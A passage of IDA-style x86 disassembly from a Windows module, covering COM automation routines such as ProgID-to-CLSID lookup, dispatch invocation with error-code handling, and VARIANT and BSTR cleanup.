add esi, 18h
push esi
push offset dword_69B25E54
push edi
call dword ptr [eax]
push eax
call sub_69B8861E
pop edi
loc_69B70C47: ; CODE XREF: sub_69B70C02+Ej
pop esi
retn 4
sub_69B70C02 endp
; =============== S U B R O U T I N E =======================================
sub_69B70C4B proc near ; CODE XREF: sub_69B16198+28p
; sub_69B70DD2+Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 2Ch
call sub_69B1D897
test eax, eax
jz short loc_69B70C63
push [esp+arg_0]
mov ecx, eax
call sub_69B15D80
jmp short loc_69B70C65
; ---------------------------------------------------------------------------
loc_69B70C63: ; CODE XREF: sub_69B70C4B+9j
xor eax, eax
loc_69B70C65: ; CODE XREF: sub_69B70C4B+16j
mov ecx, [esp+arg_4]
mov [ecx], eax
retn 8
sub_69B70C4B endp
; =============== S U B R O U T I N E =======================================
sub_69B70C6E proc near ; DATA XREF: .text:off_69B15FF0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B70C8D
test [esp+4+arg_0], 1
jz short loc_69B70C86
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B70C86: ; CODE XREF: sub_69B70C6E+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B70C6E endp
; =============== S U B R O U T I N E =======================================
sub_69B70C8D proc near ; CODE XREF: sub_69B70C6E+3p
push esi
mov esi, ecx
lea ecx, [esi+20h]
call sub_69B73853
lea eax, [esi+1Ch]
push eax
call sub_69B17230
add esi, 18h
push esi
call sub_69B2DEDD
pop esi
jmp sub_69B2C65C
sub_69B70C8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70CB0 proc near ; CODE XREF: sub_69B6FABE+DCp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov ebx, ecx
xor edi, edi
jmp short loc_69B70CCE
; ---------------------------------------------------------------------------
loc_69B70CC0: ; CODE XREF: sub_69B70CB0+30j
push [ebp+arg_0]
mov ecx, ebx
push [ebp+var_4]
call sub_69B70AC2
inc edi
loc_69B70CCE: ; CODE XREF: sub_69B70CB0+Ej
mov eax, [esi]
lea ecx, [ebp+arg_0]
push ecx
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
push edi
call dword ptr [eax+4]
test al, al
jnz short loc_69B70CC0
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B70CB0 endp
; =============== S U B R O U T I N E =======================================
sub_69B70CE9 proc near ; CODE XREF: sub_69B70D5C+5Dp
; sub_69B70DF4+9Ep
push 0Ch
push offset dword_69B70D50
call sub_69B19C5C
mov esi, ecx
mov eax, [ebp+8]
mov eax, [eax+8]
mov ecx, [eax]
lea edx, [ebp-1Ch]
push edx
push 0
push eax
call dword ptr [ecx+28h]
and dword ptr [ebp-4], 0
push dword ptr [ebp+0Ch]
push dword ptr [ebp-1Ch]
mov ecx, esi
call sub_69B70AC2
jmp short loc_69B70D36
; ---------------------------------------------------------------------------
loc_69B70D1C: ; DATA XREF: .text:69B70D54o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B70D25: ; DATA XREF: .text:69B70D58o
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
call sub_69B2E860
loc_69B70D36: ; CODE XREF: sub_69B70CE9+31j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
call sub_69B1853C
retn 8
sub_69B70CE9 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B70D50 dd 0FFFFFFFFh dd offset loc_69B70D1C
dd offset loc_69B70D25
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70D5C proc near ; CODE XREF: sub_69B6FABE+BDp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword ptr [esi], 0
jz short loc_69B70DCD
push ebx
push edi
push [ebp+arg_0]
call sub_69B70860
push [ebp+arg_0]
mov ecx, esi
call sub_69B70C02
mov eax, [esi]
push 0
push eax
call sub_69B3156E
mov [ebp+var_4], eax
mov eax, [esi]
push 1
push eax
call sub_69B3156E
mov edi, eax
jmp short loc_69B70DBE
; ---------------------------------------------------------------------------
loc_69B70D97: ; CODE XREF: sub_69B70D5C+6Dj
push [ebp+arg_0]
mov ecx, ebx
call sub_69B74222
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0A8h], 2
jz short loc_69B70DBE
mov ecx, [ebp+var_4]
mov eax, [ecx]
call dword ptr [eax+40h]
push eax
push ebx
mov ecx, esi
call sub_69B70CE9
loc_69B70DBE: ; CODE XREF: sub_69B70D5C+39j
; sub_69B70D5C+4Fj
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
mov ebx, eax
test ebx, ebx
jnz short loc_69B70D97
pop edi
pop ebx
loc_69B70DCD: ; CODE XREF: sub_69B70D5C+Aj
pop esi
leave
retn 4
sub_69B70D5C endp
; =============== S U B R O U T I N E =======================================
sub_69B70DD2 proc near ; CODE XREF: sub_69B70EC9+37p
arg_0 = dword ptr 4
push esi
lea esi, [ecx+10h]
cmp dword ptr [esi], 0
jnz short loc_69B70DE5
push esi
push [esp+8+arg_0]
call sub_69B70C4B
loc_69B70DE5: ; CODE XREF: sub_69B70DD2+7j
mov eax, [esi]
lea ecx, [eax+10h]
neg eax
sbb eax, eax
and eax, ecx
pop esi
retn 4
sub_69B70DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70DF4 proc near ; CODE XREF: sub_69B75204+Fp
; sub_69B7521B+2Bp ...
clsid = CLSID ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
mov esi, ecx
cmp dword ptr [esi], 0
mov [ebp+var_4], eax
mov [ebp+var_8], edi
jnz short loc_69B70E27
push 0
push 1
push 6
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B70E27: ; CODE XREF: sub_69B70DF4+1Fj
mov eax, [ebp+arg_4]
test eax, eax
jnz short loc_69B70E33
mov eax, offset off_69B2A46C
loc_69B70E33: ; CODE XREF: sub_69B70DF4+38j
mov eax, [eax+0Ch]
lea ecx, [ebp+clsid]
push ecx ; lpclsid
push eax ; lpszProgID
call ds:CLSIDFromProgID
push eax
call sub_69B8861E
test edi, edi
jnz short loc_69B70E59
push 8
lea eax, [ebp+clsid]
push eax
call sub_69B190C1
mov [ebp+var_8], eax
loc_69B70E59: ; CODE XREF: sub_69B70DF4+55j
push [ebp+var_8]
mov ecx, [esi]
call sub_69B1980A
mov ebx, eax
test ebx, ebx
jnz short loc_69B70E97
mov edi, [ebp+arg_0]
lea eax, [ebp+clsid]
push eax
push edi
call sub_69B7432D
mov ecx, [esi]
mov ebx, eax
push ebx
push [ebp+var_8]
call sub_69B3182D
cmp dword ptr [edi+0A8h], 2
jz short loc_69B70E97
push [ebp+arg_8]
mov ecx, esi
push ebx
call sub_69B70CE9
loc_69B70E97: ; CODE XREF: sub_69B70DF4+73j
; sub_69B70DF4+96j
push 4
pop ecx
lea edi, [ebp+clsid]
lea esi, [ebx+1Ch]
xor eax, eax
repe cmpsd
jz short loc_69B70EB5
push eax
push eax
push [ebp+arg_8]
push 0C00CE317h
call sub_69B6E277
loc_69B70EB5: ; CODE XREF: sub_69B70DF4+B0j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop edi
pop esi
mov eax, ebx
pop ebx
call sub_69B1B9F6
leave
retn 0Ch
sub_69B70DF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B70EC9 proc near ; CODE XREF: sub_69B71074+19Ap
push 3Ch
push offset dword_69B71068
call sub_69B19C5C
mov esi, ecx
xor ebx, ebx
mov [ebp-1Ch], ebx
push 8
pop ecx
xor eax, eax
lea edi, [ebp-3Ch]
rep stosd
mov [ebp-4], ebx
push ebx
call sub_69B2E818
mov edi, [ebp+0Ch]
cmp edi, ebx
jz short loc_69B70F2B
mov eax, [edi]
push dword ptr [ebp+8]
mov ecx, esi
mov [ebp-40h], eax
call sub_69B70DD2
push eax
lea eax, [ebp-3Ch]
push eax
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
xor eax, eax
cmp [ebp+1Ch], bl
setnz al
inc eax
push eax
push 409h
push dword ptr [ebp+18h]
push edi
mov eax, [ebp-40h]
call dword ptr [eax+20h]
jmp short loc_69B70F59
; ---------------------------------------------------------------------------
loc_69B70F2B: ; CODE XREF: sub_69B70EC9+2Bj
mov eax, [ebp+10h]
mov ecx, [eax]
lea edx, [ebp-48h]
push edx
lea edx, [ebp-3Ch]
push edx
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
xor edx, edx
cmp [ebp+1Ch], bl
setnz dl
inc edx
push edx
push 409h
push offset dword_69B2AFB0
push dword ptr [ebp+18h]
push eax
call dword ptr [ecx+18h]
loc_69B70F59: ; CODE XREF: sub_69B70EC9+60j
mov edi, eax
mov [ebp-44h], edi
cmp edi, ebx
jge loc_69B7101F
cmp edi, 80020101h
jnz short loc_69B70F75
call sub_69B2E808
jmp short loc_69B70FEF
; ---------------------------------------------------------------------------
loc_69B70F75: ; CODE XREF: sub_69B70EC9+A3j
cmp edi, 80020009h
jnz short loc_69B70FAF
lea eax, [ebp-3Ch]
push eax
call sub_69B6FE64
push ebx
push dword ptr [ebp+14h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
push 0C00CE321h
call sub_69B2F944
add esp, 10h
mov [ebp-4Ch], eax
push eax
push 80004005h
call sub_69B1D342
jmp short loc_69B70FEF
; ---------------------------------------------------------------------------
loc_69B70FAF: ; CODE XREF: sub_69B70EC9+B2j
cmp edi, 80020005h
jz short loc_69B70FBF
cmp edi, 80020004h
jnz short loc_69B70FF2
loc_69B70FBF: ; CODE XREF: sub_69B70EC9+ECj
push ebx
push edi
call sub_69B1D342
mov esi, eax
push ebx
push dword ptr [ebp+14h]
push dword ptr [ebp-48h]
call sub_69B2F0F7
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
push eax
push 0C00CE322h
push 80004005h
call sub_69B2E8CC
add esp, 18h
loc_69B70FEF: ; CODE XREF: sub_69B70EC9+AAj
; sub_69B70EC9+E4j
mov [ebp-1Ch], eax
loc_69B70FF2: ; CODE XREF: sub_69B70EC9+F4j
cmp [ebp-1Ch], ebx
jnz short loc_69B7101F
push ebx
push edi
call sub_69B1D342
push ebx
push dword ptr [ebp+14h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+38h]
push eax
push 0C00CE321h
push 80004005h
call sub_69B2E8CC
add esp, 14h
mov [ebp-1Ch], eax
loc_69B7101F: ; CODE XREF: sub_69B70EC9+97j
; sub_69B70EC9+12Cj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B7103F
; ---------------------------------------------------------------------------
loc_69B71025: ; DATA XREF: .text:69B7106Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7102E: ; DATA XREF: .text:69B71070o
mov esp, [ebp-18h]
call sub_69B2E808
mov [ebp-1Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B7103F: ; CODE XREF: sub_69B70EC9+15Aj
push dword ptr [ebp-34h] ; BSTR
mov esi, SysFreeString
call esi ; SysFreeString
push dword ptr [ebp-38h] ; BSTR
call esi ; SysFreeString
push dword ptr [ebp-30h] ; BSTR
call esi ; SysFreeString
mov ecx, [ebp-1Ch]
cmp ecx, ebx
jz short loc_69B71060
call sub_69B2E875
loc_69B71060: ; CODE XREF: sub_69B70EC9+190j
call sub_69B1853C
retn 20h
sub_69B70EC9 endp
; ---------------------------------------------------------------------------
dword_69B71068 dd 0FFFFFFFFh dd offset loc_69B71025
dd offset loc_69B7102E
; =============== S U B R O U T I N E =======================================
sub_69B71074 proc near ; CODE XREF: sub_69B6E2D2+17p
push 0ECh
push offset dword_69B71298
call sub_69B19C5C
mov [ebp-1Ch], ecx
xor ebx, ebx
mov [ebp-2Ch], ebx
mov [ebp-28h], ebx
mov [ebp-24h], ebx
mov [ebp-20h], ebx
mov [ebp-30h], bl
mov [ebp-34h], ebx
mov [ebp-38h], ebx
mov [ebp-3Ch], ebx
lea eax, [ebp-4Ch]
push eax ; pvarg
call VariantInit
mov [ebp-4], ebx
mov esi, [ebp+14h]
mov [ebp-24h], esi
cmp esi, ebx
jz loc_69B7115D
cmp esi, 8
jg short loc_69B710E3
mov ecx, esi
shl ecx, 4
xor eax, eax
lea edi, [ebp-0CCh]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
lea eax, [ebp-0CCh]
jmp short loc_69B7110B
; ---------------------------------------------------------------------------
loc_69B710E3: ; CODE XREF: sub_69B71074+4Aj
push esi
push 10h
call sub_69B11CFE
pop ecx
pop ecx
mov ecx, eax
mov [ebp-0D0h], ecx
cmp ecx, ebx
jz short loc_69B71100
call sub_69B15D28
jmp short loc_69B71102
; ---------------------------------------------------------------------------
loc_69B71100: ; CODE XREF: sub_69B71074+83j
xor eax, eax
loc_69B71102: ; CODE XREF: sub_69B71074+8Aj
mov [ebp-0D4h], eax
add eax, 0Ch
loc_69B7110B: ; CODE XREF: sub_69B71074+6Dj
mov [ebp-2Ch], eax
mov ecx, esi
shl ecx, 4
lea eax, [ecx+eax-10h]
mov [ebp-0D8h], eax
mov eax, [ebp+10h]
mov [ebp-0DCh], eax
mov [ebp-0E0h], esi
loc_69B7112C: ; CODE XREF: sub_69B71074+E7j
mov eax, [ebp-0E0h]
dec dword ptr [ebp-0E0h]
test eax, eax
jz short loc_69B7115D
push dword ptr [ebp-0D8h] ; pvarg
mov ecx, [ebp-0DCh]
call sub_69B63F7F
sub dword ptr [ebp-0D8h], 10h
add dword ptr [ebp-0DCh], 10h
jmp short loc_69B7112C
; ---------------------------------------------------------------------------
loc_69B7115D: ; CODE XREF: sub_69B71074+41j
; sub_69B71074+C6j
mov esi, [ebp+0Ch]
mov ecx, [esi+14h]
mov [ebp-0E4h], ecx
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov edi, eax
mov [ebp-0E8h], edi
lea eax, [ebp-30h]
push eax
lea eax, [ebp-0ECh]
push eax
push edi
mov ecx, [ebp-1Ch]
call sub_69B70813
mov eax, [esi+10h]
mov [ebp-0F0h], eax
lea ecx, [ebp-0F4h]
push ecx
lea ecx, [ebp-34h]
push ecx
lea ecx, [ebp-38h]
push ecx
push dword ptr [ebp-0ECh]
push eax
mov ecx, [ebp-1Ch]
call sub_69B708B8
cmp [ebp-38h], ebx
jnz short loc_69B711D1
cmp [ebp-34h], ebx
jnz short loc_69B711D1
mov eax, [esi+10h]
mov [ebp-0F8h], eax
push ebx
push ebx
push eax
push 0C00CE318h
call sub_69B6E277
loc_69B711D1: ; CODE XREF: sub_69B71074+140j
; sub_69B71074+145j
cmp dword ptr [ebp-0F4h], 0FFFFFFFFh
jnz short loc_69B711F0
mov esi, [esi+10h]
mov [ebp-0FCh], esi
push ebx
push edi
push esi
push 0C00CE319h
call sub_69B6E277
loc_69B711F0: ; CODE XREF: sub_69B71074+164j
lea eax, [ebp-4Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push dword ptr [ebp-30h]
push dword ptr [ebp-0F4h]
push edi
push dword ptr [ebp-34h]
push dword ptr [ebp-38h]
push dword ptr [ebp+8]
mov ecx, [ebp-1Ch]
call sub_69B70EC9
lea eax, [ebp-4Ch]
push eax
mov ecx, [ebp+18h]
call sub_69B64A14
test al, al
jnz short loc_69B7123A
push ebx
push edi
push 0C00CE320h
push 80004005h
call sub_69B2E8CC
add esp, 10h
mov [ebp-3Ch], eax
loc_69B7123A: ; CODE XREF: sub_69B71074+1ADj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B7125A
; ---------------------------------------------------------------------------
loc_69B71240: ; DATA XREF: .text:69B7129Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B71249: ; DATA XREF: .text:69B712A0o
mov esp, [ebp-18h]
call sub_69B2E808
mov [ebp-3Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B7125A: ; CODE XREF: sub_69B71074+1CAj
mov esi, [ebp-2Ch]
cmp esi, ebx
jz short loc_69B71275
mov edi, [ebp+14h]
cmp edi, ebx
jz short loc_69B71275
loc_69B71268: ; CODE XREF: sub_69B71074+1FFj
push esi ; pvarg
call VariantClear
add esi, 10h
dec edi
jnz short loc_69B71268
loc_69B71275: ; CODE XREF: sub_69B71074+1EBj
; sub_69B71074+1F2j
lea eax, [ebp-4Ch]
push eax ; pvarg
call VariantClear
mov ecx, [ebp-3Ch]
cmp ecx, ebx
jz short loc_69B7128B
call sub_69B2E875
loc_69B7128B: ; CODE XREF: sub_69B71074+210j
call sub_69B1853C
retn 14h
sub_69B71074 endp
; ---------------------------------------------------------------------------
align 8
dword_69B71298 dd 0FFFFFFFFh dd offset loc_69B71240
dd offset loc_69B71249
; =============== S U B R O U T I N E =======================================
sub_69B712A4 proc near ; CODE XREF: sub_69B757FD+Ap
; sub_69B75B50+35p
mov eax, [ecx+18h]
and eax, 0Fh
xor edx, edx
sub eax, edx
jz short loc_69B712D0
dec eax
jz short loc_69B712B6
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B712B6: ; CODE XREF: sub_69B712A4+Dj
lea eax, [ecx+4]
mov ecx, [ecx]
cmp [eax], edx
mov edx, [ecx]
push eax
jz short loc_69B712C9
call dword ptr [edx+0A0h]
retn
; ---------------------------------------------------------------------------
loc_69B712C9: ; CODE XREF: sub_69B712A4+1Cj
call dword ptr [edx+9Ch]
retn
; ---------------------------------------------------------------------------
loc_69B712D0: ; CODE XREF: sub_69B712A4+Aj
lea eax, [ecx+4]
mov ecx, [ecx]
cmp [eax], edx
mov edx, [ecx]
push eax
jz short loc_69B712E0
call dword ptr [edx+6Ch]
retn
; ---------------------------------------------------------------------------
loc_69B712E0: ; CODE XREF: sub_69B712A4+36j
call dword ptr [edx+68h]
retn
sub_69B712A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B712E4 proc near ; CODE XREF: sub_69B712FA+4Cp
; sub_69B713D4+3Bp
arg_0 = dword ptr 4
push [esp+arg_0]
mov eax, ecx
mov ecx, [eax+4]
mov edx, [ecx]
push eax
add eax, 8
push eax
call dword ptr [edx+44h]
retn 4
sub_69B712E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B712FA proc near ; CODE XREF: sub_69B6F0B5+46p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_4]
mov esi, ecx
xor ebx, ebx
lea edi, [esi+8]
push edi
mov [esi+18h], ebx
mov [esi+0Ch], ebx
call sub_69B17320
mov eax, [esi+18h]
xor eax, [esp+0Ch+arg_8]
push ebx
and eax, 0Fh
xor [esi+18h], eax
lea eax, [esi+14h]
push eax
mov [esi], ebx
call sub_69B17320
cmp [edi], ebx
mov [esi+4], ebx
jnz short loc_69B7135B
mov eax, [esp+0Ch+arg_0]
mov ecx, [eax+28h]
mov ecx, [ecx+18h]
mov [esi], ecx
mov eax, [eax+28h]
push esi
mov ecx, eax
call sub_69B712E4
push eax
push edi
call sub_69B17320
cmp [edi], ebx
jnz short loc_69B7135B
push 2
pop eax
jmp short loc_69B7135D
; ---------------------------------------------------------------------------
loc_69B7135B: ; CODE XREF: sub_69B712FA+38j
; sub_69B712FA+5Aj
xor eax, eax
loc_69B7135D: ; CODE XREF: sub_69B712FA+5Fj
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B712FA endp
; =============== S U B R O U T I N E =======================================
sub_69B71363 proc near ; CODE XREF: sub_69B6E444+8p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi]
mov esi, ecx
mov [esi], eax
mov eax, [edi+4]
mov [esi+4], eax
lea eax, [edi+8]
push eax
lea ecx, [esi+8]
call sub_69B4D414
mov eax, [edi+0Ch]
mov [esi+0Ch], eax
mov eax, [edi+18h]
mov [esi+18h], eax
mov eax, [edi+10h]
add edi, 14h
push edi
lea ecx, [esi+14h]
mov [esi+10h], eax
call sub_69B4D414
pop edi
pop esi
retn 4
sub_69B71363 endp
; =============== S U B R O U T I N E =======================================
sub_69B713A4 proc near ; CODE XREF: sub_69B6EBB8+13p
push esi
push edi
mov esi, ecx
and dword ptr [esi], 0
push 0
lea edi, [esi+8]
push edi
call sub_69B17320
and dword ptr [esi+10h], 0
push 0
add esi, 14h
push esi
call sub_69B17320
push esi
call sub_69B17230
push edi
call sub_69B17230
pop edi
pop esi
retn
sub_69B713A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B713D4 proc near ; CODE XREF: sub_69B6EF3C+44p
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
mov ebx, 200h
test [esi+18h], ebx
push edi
mov edi, [esp+0Ch+arg_0]
jnz short loc_69B7140B
mov eax, [esi+0Ch]
loc_69B713EA: ; CODE XREF: sub_69B713D4+35j
mov ecx, [esi+8]
mov edx, [ecx]
push edi
push eax
call dword ptr [edx+38h]
and dword ptr [edi+58h], 0FFFFFFFEh
mov eax, [esi+0Ch]
test eax, eax
jnz short loc_69B7142E
cmp [esi], eax
jz short loc_69B7142A
or [esi+18h], ebx
test [esi+18h], ebx
jz short loc_69B713EA
loc_69B7140B: ; CODE XREF: sub_69B713D4+11j
mov ecx, [edi+28h]
push esi
call sub_69B712E4
push eax
lea edi, [esi+8]
push edi
call sub_69B17320
and byte ptr [esi+19h], 0FDh
cmp dword ptr [edi], 0
setz al
jmp short loc_69B71430
; ---------------------------------------------------------------------------
loc_69B7142A: ; CODE XREF: sub_69B713D4+2Dj
mov al, 1
jmp short loc_69B71430
; ---------------------------------------------------------------------------
loc_69B7142E: ; CODE XREF: sub_69B713D4+29j
xor al, al
loc_69B71430: ; CODE XREF: sub_69B713D4+54j
; sub_69B713D4+58j
pop edi
pop esi
pop ebx
retn 4
sub_69B713D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B71436 proc near ; CODE XREF: sub_69B71592+10p
arg_0 = byte ptr 4
push esi
mov esi, ecx
and dword ptr [esi+4], 0
test [esp+4+arg_0], 1
mov dword ptr [esi], offset off_69B2A4D0
jz short loc_69B71450
push esi
call sub_69B1B2B7
loc_69B71450: ; CODE XREF: sub_69B71436+12j
mov eax, esi
pop esi
retn 4
sub_69B71436 endp
; =============== S U B R O U T I N E =======================================
sub_69B71456 proc near ; CODE XREF: sub_69B6E5D9+32p
; DATA XREF: .text:69B16CCCo ...
and dword ptr [ecx+8], 0
retn
sub_69B71456 endp
; =============== S U B R O U T I N E =======================================
sub_69B7145B proc near ; CODE XREF: .text:69B71477p
; .text:69B71493p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jg short locret_69B71466
add eax, [ecx+8]
locret_69B71466: ; CODE XREF: sub_69B7145B+6j
retn 4
sub_69B7145B endp
; ---------------------------------------------------------------------------
loc_69B71469: ; DATA XREF: .text:off_69B2A4D0o
mov edx, [ecx+4]
push esi
push dword ptr [esp+0Ch]
mov esi, [edx]
push dword ptr [esp+0Ch]
call sub_69B7145B
push eax
mov ecx, edx
call dword ptr [esi]
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B71485: ; DATA XREF: .text:69B2A4D4o
mov edx, [ecx+4]
push esi
push dword ptr [esp+0Ch]
mov esi, [edx]
push dword ptr [esp+0Ch]
call sub_69B7145B
push eax
mov ecx, edx
call dword ptr [esi+4]
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B714A2: ; DATA XREF: .text:69B2A4D8o
mov edx, [ecx+4]
push esi
push dword ptr [esp+10h]
mov esi, [edx]
push dword ptr [esp+10h]
push dword ptr [esp+10h]
call sub_69B7145B
push eax
mov ecx, edx
call dword ptr [esi+8]
pop esi
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_69B714C3 proc near ; DATA XREF: .text:69B2A4DCo
; .text:69B6BFECo
mov ecx, [ecx+4]
mov eax, [ecx]
jmp dword ptr [eax+0Ch]
sub_69B714C3 endp
; =============== S U B R O U T I N E =======================================
sub_69B714CB proc near ; DATA XREF: .text:69B2A4E0o
; .text:69B6BFF0o
mov ecx, [ecx+4]
mov eax, [ecx]
jmp dword ptr [eax+10h]
sub_69B714CB endp
; ---------------------------------------------------------------------------
loc_69B714D3: ; DATA XREF: .text:69B2A4E4o
mov ecx, [ecx+4]
mov eax, [ecx]
jmp dword ptr [eax+14h]
; =============== S U B R O U T I N E =======================================
sub_69B714DB proc near ; CODE XREF: .text:69B6E556p
; sub_69B6E571+2Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
cmp dword ptr [esi], 0
jnz short loc_69B71508
push 0Ch
call sub_69B1D897
test eax, eax
jz short loc_69B71504
mov ecx, [esp+4+arg_0]
mov [eax+4], ecx
mov ecx, [esp+4+arg_4]
mov dword ptr [eax], offset off_69B2A4D0
mov [eax+8], ecx
jmp short loc_69B71506
; ---------------------------------------------------------------------------
loc_69B71504: ; CODE XREF: sub_69B714DB+11j
xor eax, eax
loc_69B71506: ; CODE XREF: sub_69B714DB+27j
mov [esi], eax
loc_69B71508: ; CODE XREF: sub_69B714DB+6j
mov eax, [esi]
pop esi
retn 8
sub_69B714DB endp
; =============== S U B R O U T I N E =======================================
sub_69B7150E proc near ; CODE XREF: sub_69B6F8EA+63p
arg_4 = dword ptr 8
arg_C = dword ptr 10h
push esi
push [esp+4+arg_4]
mov esi, ecx
lea eax, [esi+4]
push eax
call sub_69B17320
push [esp+4+arg_C]
lea eax, [esi+14h]
push eax
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
and dword ptr [esi+18h], 0
and dword ptr [esi+8], 0
pop esi
retn 10h
sub_69B7150E endp
; =============== S U B R O U T I N E =======================================
sub_69B71542 proc near ; CODE XREF: sub_69B6E454+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
push edi
mov edi, ecx
mov [edi], eax
and dword ptr [esi], 0
lea eax, [esi+4]
push eax
lea ecx, [edi+4]
call sub_69B4D414
mov eax, [esi+8]
mov [edi+8], eax
lea eax, [esi+0Ch]
push eax
lea ecx, [edi+0Ch]
call sub_69B4D414
mov eax, [esi+18h]
mov [edi+18h], eax
lea eax, [esi+14h]
push eax
lea ecx, [edi+14h]
call sub_69B4D414
add esi, 10h
push esi
lea ecx, [edi+10h]
call sub_69B4D414
pop edi
pop esi
retn 4
sub_69B71542 endp
; =============== S U B R O U T I N E =======================================
sub_69B71592 proc near ; CODE XREF: sub_69B6EC1E+13p
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esi]
xor ebp, ebp
cmp ecx, ebp
push edi
jz short loc_69B715A7
push 1
call sub_69B71436
loc_69B715A7: ; CODE XREF: sub_69B71592+Cj
push ebp
lea edi, [esi+4]
push edi
call sub_69B17320
push ebp
lea ebx, [esi+0Ch]
push ebx
call sub_69B17320
mov [esi+18h], ebp
push 0
lea ebp, [esi+14h]
push ebp
call sub_69B17320
push 0
add esi, 10h
push esi
call sub_69B17320
push ebp
call sub_69B17230
push esi
call sub_69B17230
push ebx
call sub_69B17230
push edi
call sub_69B17230
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B71592 endp
; =============== S U B R O U T I N E =======================================
sub_69B715F1 proc near ; CODE XREF: .text:69B6E567p
; sub_69B71654+4Bp ...
push esi
mov esi, ecx
push edi
lea edi, [esi+10h]
cmp dword ptr [edi], 0
jnz short loc_69B7164B
mov eax, [esi+4]
push ebx
push dword ptr [eax+18h]
push 10h
call sub_69B11CFE
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
jz short loc_69B71622
mov ecx, ebx
call sub_69B19118
mov dword ptr [ebx], offset off_69B13908
jmp short loc_69B71624
; ---------------------------------------------------------------------------
loc_69B71622: ; CODE XREF: sub_69B715F1+20j
xor ebx, ebx
loc_69B71624: ; CODE XREF: sub_69B715F1+2Fj
push ebx
push edi
call sub_69B17320
mov ecx, [edi]
push 0
call sub_69B171A0
mov ecx, [esi+4]
mov ecx, [ecx+18h]
test ecx, ecx
pop ebx
jz short loc_69B7164B
add eax, 4
loc_69B71642: ; CODE XREF: sub_69B715F1+58j
mov byte ptr [eax], 1
add eax, 10h
dec ecx
jnz short loc_69B71642
loc_69B7164B: ; CODE XREF: sub_69B715F1+Aj
; sub_69B715F1+4Cj
mov ecx, [edi]
pop edi
pop esi
jmp sub_69B171A0
sub_69B715F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B71654 proc near ; CODE XREF: sub_69B6E5A7+2Dj
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, ecx
mov ecx, [edi+4]
mov eax, [ecx]
call dword ptr [eax+48h]
mov ebx, eax
test ebx, ebx
jz short loc_69B7168A
mov eax, [edi+4]
mov eax, [eax+18h]
lea esi, [ebx+eax*4-4]
jmp short loc_69B71686
; ---------------------------------------------------------------------------
loc_69B71673: ; CODE XREF: sub_69B71654+34j
mov eax, [esi]
lea ecx, [eax+2Ch]
mov eax, [ecx]
call dword ptr [eax+38h]
cmp [esp+0Ch+arg_0], eax
jz short loc_69B71692
